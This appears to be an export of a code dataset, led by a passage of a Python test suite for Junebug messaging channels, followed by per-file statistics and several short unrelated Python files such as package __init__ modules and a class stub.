channel2.application_worker)
self.assertEqual(
channel1.status_application_worker,
channel2.status_application_worker)
@inlineCallbacks
def test_create_channel_from_unknown_id(self):
yield self.assertFailure(
self.create_channel_from_id(
self.redis, {}, 'unknown-id', self.service),
ChannelNotFound)
@inlineCallbacks
def test_channel_status_empty(self):
properties = self.create_channel_properties()
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
self.assertEqual((yield channel.status()), conjoin(properties, {
'status': self.generate_status(),
'id': 'channel-id',
'config': conjoin(properties['config'], {
'transport_name': channel.id
})
}))
@inlineCallbacks
def test_channel_status_single_status(self):
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
status = TransportStatus(
status='ok',
component='foo',
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
self.assert_status((yield channel.status())['status'], components={
'foo': api_from_status('channel-id', status),
}, level='ok')
@inlineCallbacks
def test_channel_multiple_statuses_ok(self):
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
components = {}
for i in range(5):
status = TransportStatus(
status='ok',
component=i,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components[str(i)] = api_from_status('channel-id', status)
self.assert_status(
(yield channel.status())['status'], level='ok',
components=components)
@inlineCallbacks
def test_channel_multiple_statuses_degraded(self):
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
components = {}
for i in range(5):
status = TransportStatus(
status='ok',
component=i,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components[str(i)] = api_from_status('channel-id', status)
status = TransportStatus(
status='degraded',
component=5,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components['5'] = api_from_status('channel-id', status)
self.assert_status(
(yield channel.status())['status'], level='degraded',
components=components)
@inlineCallbacks
def test_channel_multiple_statuses_down(self):
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
components = {}
for i in range(5):
status = TransportStatus(
status='ok',
component=i,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components[str(i)] = api_from_status('channel-id', status)
status = TransportStatus(
status='degraded',
component=5,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components['5'] = api_from_status('channel-id', status)
status = TransportStatus(
status='down',
component=6,
type='bar',
message='Bar')
yield channel.sstore.store_status('channel-id', status)
components['6'] = api_from_status('channel-id', status)
self.assert_status(
(yield channel.status())['status'], level='down',
components=components)
@inlineCallbacks
def test_get_all(self):
channels = yield Channel.get_all(self.redis)
self.assertEqual(channels, set())
channel1 = yield self.create_channel(
self.service, self.redis)
channels = yield Channel.get_all(self.redis)
self.assertEqual(channels, set([channel1.id]))
channel2 = yield self.create_channel(
self.service, self.redis)
channels = yield Channel.get_all(self.redis)
self.assertEqual(channels, set([channel1.id, channel2.id]))
@inlineCallbacks
def test_start_all_channels(self):
yield Channel.start_all_channels(
self.redis, self.config, self.service)
channel1 = yield self.create_channel(
self.service, self.redis)
self.assertTrue(channel1.id in self.service.namedServices)
yield channel1.stop()
self.assertFalse(channel1.id in self.service.namedServices)
yield Channel.start_all_channels(
self.redis, self.config, self.service)
self.assertTrue(channel1.id in self.service.namedServices)
channel2 = yield self.create_channel(
self.service, self.redis)
self.assertTrue(channel2.id in self.service.namedServices)
yield channel2.stop()
self.assertFalse(channel2.id in self.service.namedServices)
yield Channel.start_all_channels(
self.redis, self.config, self.service)
self.assertTrue(channel1.id in self.service.namedServices)
self.assertTrue(channel2.id in self.service.namedServices)
@inlineCallbacks
def test_send_message(self):
'''The send_message function should place the message on the correct
queue'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
msg = yield channel.send_message(
self.message_sender, self.outbounds, {
'from': '+1234',
'content': 'testcontent',
})
self.assertEqual(msg['channel_id'], 'channel-id')
self.assertEqual(msg['from'], '+1234')
self.assertEqual(msg['content'], 'testcontent')
[dispatched_message] = self.get_dispatched_messages(
'channel-id.outbound')
self.assertEqual(msg['message_id'], dispatched_message['message_id'])
@inlineCallbacks
def test_send_message_event_url(self):
'''Sending a message with a specified event url should store the event
url for sending events in the future'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
msg = yield channel.send_message(
self.message_sender, self.outbounds, {
'from': '+1234',
'content': 'testcontent',
'event_url': 'http://test.org'
})
event_url = yield self.outbounds.load_event_url(
'channel-id', msg['message_id'])
self.assertEqual(event_url, 'http://test.org')
@inlineCallbacks
def test_send_message_with_event_auth_token(self):
'''Sending a message with a specified event_auth_token should store the
token for sending events in the future'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
msg = yield channel.send_message(
self.message_sender, self.outbounds, {
'from': '+1234',
'content': 'testcontent',
'event_url': 'http://test.org',
'event_auth_token': "the-auth-token",
})
event_auth_token = yield self.outbounds.load_event_auth_token(
'channel-id', msg['message_id'])
self.assertEqual(event_auth_token, "the-auth-token")
@inlineCallbacks
def test_send_reply_message(self):
'''send_reply_message should place the correct reply message on the
correct queue'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
in_msg = TransportUserMessage(
from_addr='+2789',
to_addr='+1234',
transport_name='channel-id',
transport_type='_',
transport_metadata={'foo': 'bar'})
yield self.api.inbounds.store_vumi_message('channel-id', in_msg)
msg = yield channel.send_reply_message(
self.message_sender, self.outbounds, self.inbounds, {
'reply_to': in_msg['message_id'],
'content': 'testcontent',
})
expected = in_msg.reply(content='testcontent')
expected = conjoin(api_from_message(expected), {
'timestamp': msg['timestamp'],
'message_id': msg['message_id']
})
self.assertEqual(msg, expected)
[dispatched] = self.get_dispatched_messages('channel-id.outbound')
self.assertEqual(msg['message_id'], dispatched['message_id'])
self.assertEqual(api_from_message(dispatched), expected)
@inlineCallbacks
def test_send_reply_message_inbound_not_found(self):
'''send_reply_message should raise an error if the inbound message is
not found'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
self.assertFailure(channel.send_reply_message(
self.message_sender, self.outbounds, self.inbounds, {
'reply_to': 'i-do-not-exist',
'content': 'testcontent',
}), MessageNotFound)
@inlineCallbacks
def test_send_reply_message_event_url(self):
'''Sending a message with a specified event url should store the event
url for sending events in the future'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
in_msg = TransportUserMessage(
from_addr='+2789',
to_addr='+1234',
transport_name='channel-id',
transport_type='_',
transport_metadata={'foo': 'bar'})
yield self.api.inbounds.store_vumi_message('channel-id', in_msg)
msg = yield channel.send_reply_message(
self.message_sender, self.outbounds, self.inbounds, {
'reply_to': in_msg['message_id'],
'content': 'testcontent',
'event_url': 'http://test.org',
})
event_url = yield self.outbounds.load_event_url(
'channel-id', msg['message_id'])
self.assertEqual(event_url, 'http://test.org')
@inlineCallbacks
def test_send_reply_message_with_event_auth_token(self):
'''Sending a message with a specified event auth token should store the
token for sending events in the future'''
channel = yield self.create_channel(
self.service, self.redis, id='channel-id')
in_msg = TransportUserMessage(
from_addr='+2789',
to_addr='+1234',
transport_name='channel-id',
transport_type='_',
transport_metadata={'foo': 'bar'})
yield self.api.inbounds.store_vumi_message('channel-id', in_msg)
msg = yield channel.send_reply_message(
self.message_sender, self.outbounds, self.inbounds, {
'reply_to': in_msg['message_id'],
'content': 'testcontent',
'event_url': 'http://test.org',
'event_auth_token': "the-auth-token",
})
event_auth_token = yield self.outbounds.load_event_auth_token(
'channel-id', msg['message_id'])
self.assertEqual(event_auth_token, "the-auth-token")
@inlineCallbacks
def test_channel_status_inbound_message_rates(self):
'''When inbound messages are being receive, it should affect the
inbound message rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'inbound', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
inbound_message_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_outbound_message_rates(self):
'''When outbound messages are being sent, it should affect the
outbound message rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'outbound', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
outbound_message_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_submitted_event_rate(self):
'''When submitted events are being received, it should affect the
submitted event rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'submitted', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
submitted_event_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_rejected_event_rate(self):
'''When rejected events are being received, it should affect the
rejected event rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'rejected', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
rejected_event_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_delivery_succeeded_rate(self):
'''When delivery_succeeded events are being received, it should affect
the delivery succeeded event rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'delivery_succeeded', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
delivery_succeeded_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_delivery_failed_rate(self):
'''When delivery_failed events are being received, it should affect
the delivery failed event rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'delivery_failed', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
delivery_failed_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_channel_status_delivery_pending_rate(self):
'''When delivery_pending events are being received, it should affect
the delivery pending event rate reported by the status'''
clock = self.patch_message_rate_clock()
channel = yield self.create_channel(
self.service, self.redis, id=u'channel-id')
yield self.api.message_rate.increment(
channel.id, 'delivery_pending', channel.config.metric_window)
clock.advance(channel.config.metric_window)
self.assert_status(
(yield channel.status())['status'],
delivery_pending_rate=1.0/channel.config.metric_window)
@inlineCallbacks
def test_get_logs_more_than_available(self):
'''If the amount of available logs is less than what is requested,
all the logs will be returned.'''
channel = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger.startService()
channel.transport_worker.test_log('Test message1')
[log] = channel.get_logs(2)
self.assert_log(log, {
'logger': channel.id, 'message': 'Test message1',
'level': logging.INFO})
@inlineCallbacks
def test_get_logs_less_than_available(self):
'''If the amount of available logs is more than what is requested,
only the requested amount will be returned.'''
channel = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger.startService()
channel.transport_worker.test_log('Test message1')
channel.transport_worker.test_log('Test message2')
channel.transport_worker.test_log('Test message3')
[log1, log2] = channel.get_logs(2)
self.assert_log(log1, {
'logger': channel.id, 'message': 'Test message3',
'level': logging.INFO})
self.assert_log(log2, {
'logger': channel.id, 'message': 'Test message2',
'level': logging.INFO})
@inlineCallbacks
def test_get_logs_more_than_configured(self):
'''If the amount of logs requested is more than the configured
maximum, then only the configured maximum amount is returned.'''
logpath = self.mktemp()
config = yield self.create_channel_config(
max_logs=2,
channels={
'logging': 'junebug.tests.helpers.LoggingTestTransport',
},
logging_path=logpath
)
properties = yield self.create_channel_properties(type='logging')
channel = yield self.create_channel(
self.service, self.redis, config=config, properties=properties)
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger.startService()
channel.transport_worker.test_log('Test message1')
channel.transport_worker.test_log('Test message2')
channel.transport_worker.test_log('Test message3')
[log1, log2] = channel.get_logs(3)
self.assert_log(log1, {
'logger': channel.id, 'message': 'Test message3',
'level': logging.INFO})
self.assert_log(log2, {
'logger': channel.id, 'message': 'Test message2',
'level': logging.INFO})
@inlineCallbacks
def test_get_logs_n_is_none(self):
'''If no value for n is supplied, then the configured maximum number
of logs should be returned.'''
logpath = self.mktemp()
config = yield self.create_channel_config(
max_logs=2,
channels={
'logging': 'junebug.tests.helpers.LoggingTestTransport',
},
logging_path=logpath
)
properties = yield self.create_channel_properties(type='logging')
channel = yield self.create_channel(
self.service, self.redis, config=config, properties=properties)
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger.startService()
channel.transport_worker.test_log('Test message1')
channel.transport_worker.test_log('Test message2')
channel.transport_worker.test_log('Test message3')
[log1, log2] = channel.get_logs(None)
self.assert_log(log1, {
'logger': channel.id, 'message': 'Test message3',
'level': logging.INFO})
self.assert_log(log2, {
'logger': channel.id, 'message': 'Test message2',
'level': logging.INFO})
| 38.465402
| 79
| 0.643697
| 3,721
| 34,465
| 5.771836
| 0.068799
| 0.033943
| 0.055408
| 0.056339
| 0.802766
| 0.766541
| 0.720631
| 0.695023
| 0.655492
| 0.627788
| 0
| 0.006877
| 0.253213
| 34,465
| 895
| 80
| 38.50838
| 0.82757
| 0.06981
| 0
| 0.683748
| 0
| 0
| 0.096647
| 0.01275
| 0
| 0
| 0
| 0
| 0.137628
| 1
| 0.070278
| false
| 0
| 0.014641
| 0
| 0.086384
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
e044dde60043a596c733c3e4f87e5f9486b57110
| 323
|
py
|
Python
|
lib/googlecloudapis/source/v0/__init__.py
|
IsaacHuang/google-cloud-sdk
|
52afa5d1a75dff08f4f5380c5cccc015bf796ca5
|
[
"Apache-2.0"
] | null | null | null |
lib/googlecloudapis/source/v0/__init__.py
|
IsaacHuang/google-cloud-sdk
|
52afa5d1a75dff08f4f5380c5cccc015bf796ca5
|
[
"Apache-2.0"
] | null | null | null |
lib/googlecloudapis/source/v0/__init__.py
|
IsaacHuang/google-cloud-sdk
|
52afa5d1a75dff08f4f5380c5cccc015bf796ca5
|
[
"Apache-2.0"
] | null | null | null |
"""Common imports for generated source client library."""
# pylint:disable=wildcard-import
import pkgutil
from googlecloudapis.apitools.base.py import *
from googlecloudapis.source.v0.source_v0_client import *
from googlecloudapis.source.v0.source_v0_messages import *
__path__ = pkgutil.extend_path(__path__, __name__)
| 29.363636
| 58
| 0.820433
| 41
| 323
| 6.04878
| 0.536585
| 0.129032
| 0.201613
| 0.25
| 0.330645
| 0.330645
| 0.330645
| 0
| 0
| 0
| 0
| 0.013652
| 0.092879
| 323
| 10
| 59
| 32.3
| 0.832765
| 0.256966
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
e05df6a373317b021d725a223199458c89b9041e
| 50
|
py
|
Python
|
tests/unit/__init__.py
|
AgrinessEdgeIoT/portiapy
|
efc5e4af2d94c57aa03b447ee015755532baaf70
|
[
"MIT"
] | 1
|
2019-05-22T18:38:01.000Z
|
2019-05-22T18:38:01.000Z
|
tests/unit/__init__.py
|
AgrinessEdgeIoT/portiapy
|
efc5e4af2d94c57aa03b447ee015755532baaf70
|
[
"MIT"
] | 4
|
2018-09-17T13:16:18.000Z
|
2021-02-26T13:30:49.000Z
|
tests/unit/__init__.py
|
AgrinessEdgeIoT/portiapy
|
efc5e4af2d94c57aa03b447ee015755532baaf70
|
[
"MIT"
] | null | null | null |
"""Unit testing for the application's modules."""
| 25
| 49
| 0.72
| 7
| 50
| 5.142857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12
| 50
| 1
| 50
| 50
| 0.818182
| 0.86
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0eddae2359b4883cd94c5c301af67c3f7d13bfc4
| 162
|
py
|
Python
|
Experimental/CTypesTests/CTypesRegex_Urls.py
|
AugustinMascarelli/survol
|
7a822900e82d1e6f016dba014af5741558b78f15
|
[
"BSD-3-Clause"
] | 9
|
2017-10-05T23:36:23.000Z
|
2021-08-09T15:40:03.000Z
|
Experimental/CTypesTests/CTypesRegex_Urls.py
|
AugustinMascarelli/survol
|
7a822900e82d1e6f016dba014af5741558b78f15
|
[
"BSD-3-Clause"
] | 21
|
2018-01-02T09:33:03.000Z
|
2018-08-27T11:09:52.000Z
|
Experimental/CTypesTests/CTypesRegex_Urls.py
|
AugustinMascarelli/survol
|
7a822900e82d1e6f016dba014af5741558b78f15
|
[
"BSD-3-Clause"
] | 4
|
2018-06-23T09:05:45.000Z
|
2021-01-22T15:36:50.000Z
|
import sys
import ctypes_scanner
pidint = int(sys.argv[1])
toto = ctypes_scanner.GetRegexMatches(pidint,"http://[a-zA-Z_0-9\.]*")
print(toto)
print(len(toto))
| 16.2
| 70
| 0.722222
| 26
| 162
| 4.384615
| 0.692308
| 0.22807
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020408
| 0.092593
| 162
| 9
| 71
| 18
| 0.755102
| 0
| 0
| 0
| 0
| 0
| 0.135802
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0edf69fdbaa6781a4cb2a552d2575f9cc2006cea
| 75
|
py
|
Python
|
webhook_gateway/routes/__init__.py
|
lgatellier/webhook-router
|
7e68e469b54c1f605d03e10744774cb9f1f094f3
|
[
"Apache-2.0"
] | 1
|
2022-03-06T19:01:23.000Z
|
2022-03-06T19:01:23.000Z
|
webhook_gateway/routes/__init__.py
|
lgatellier/webhook-router
|
7e68e469b54c1f605d03e10744774cb9f1f094f3
|
[
"Apache-2.0"
] | 8
|
2021-11-18T22:49:49.000Z
|
2022-03-30T09:29:43.000Z
|
webhook_gateway/routes/__init__.py
|
lgatellier/webhook-gateway
|
975b7d380b17fd3b534d9c1eca51b6dd2cc44d00
|
[
"Apache-2.0"
] | null | null | null |
from .route import Route # noqa
from .service import RouteService # noqa
| 25
| 41
| 0.76
| 10
| 75
| 5.7
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186667
| 75
| 2
| 42
| 37.5
| 0.934426
| 0.12
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0ef5761a23a792c0ab3bbc2776b8a72ad04036fc
| 350
|
py
|
Python
|
siam_tracker/benchmarks/data/__init__.py
|
microsoft/PySiamTracking
|
a82dabeaa42a7816dbd8e823da7b7e92ebb622ce
|
[
"MIT"
] | 28
|
2020-03-18T04:41:21.000Z
|
2022-02-24T16:44:01.000Z
|
siam_tracker/benchmarks/data/__init__.py
|
HengFan2010/PySiamTracking
|
a82dabeaa42a7816dbd8e823da7b7e92ebb622ce
|
[
"MIT"
] | 1
|
2020-04-05T15:23:22.000Z
|
2020-04-07T16:23:12.000Z
|
siam_tracker/benchmarks/data/__init__.py
|
HengFan2010/PySiamTracking
|
a82dabeaa42a7816dbd8e823da7b7e92ebb622ce
|
[
"MIT"
] | 11
|
2020-03-19T00:30:06.000Z
|
2021-11-10T08:22:35.000Z
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
from .base_data import Dataset, Sequence
from .otb import OTB, OTB2013, OTB100, OTB50
from .vot import VOT, VOT16, VOT17
from .lasot import LaSOT, LaSOTTest, LaSOTFull
from .trackingnet import TrackingNet
from .got10k import GOT10K, GOT10KVal, GOT10KTest
| 35
| 59
| 0.794286
| 47
| 350
| 5.893617
| 0.680851
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.069767
| 0.14
| 350
| 9
| 60
| 38.888889
| 0.850498
| 0.254286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
0ef9254d8108afca87c1c3f7267f5e110420197e
| 212
|
py
|
Python
|
src/zad3/friendships_storage.py
|
TestowanieAutomatyczneUG/laboratorium-11-maciejSzcz
|
bc7172e3801cbc834526d021f5f806742e3b9724
|
[
"MIT"
] | null | null | null |
src/zad3/friendships_storage.py
|
TestowanieAutomatyczneUG/laboratorium-11-maciejSzcz
|
bc7172e3801cbc834526d021f5f806742e3b9724
|
[
"MIT"
] | null | null | null |
src/zad3/friendships_storage.py
|
TestowanieAutomatyczneUG/laboratorium-11-maciejSzcz
|
bc7172e3801cbc834526d021f5f806742e3b9724
|
[
"MIT"
] | null | null | null |
class FriendshipsStorage(object):
def __init__(self):
self.friendships = []
def add(self, note):
pass
def clear(self):
pass
def get_friends_of(self, name):
pass
| 16.307692
| 35
| 0.575472
| 24
| 212
| 4.833333
| 0.625
| 0.12069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.325472
| 212
| 12
| 36
| 17.666667
| 0.811189
| 0
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.444444
| false
| 0.333333
| 0
| 0
| 0.555556
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.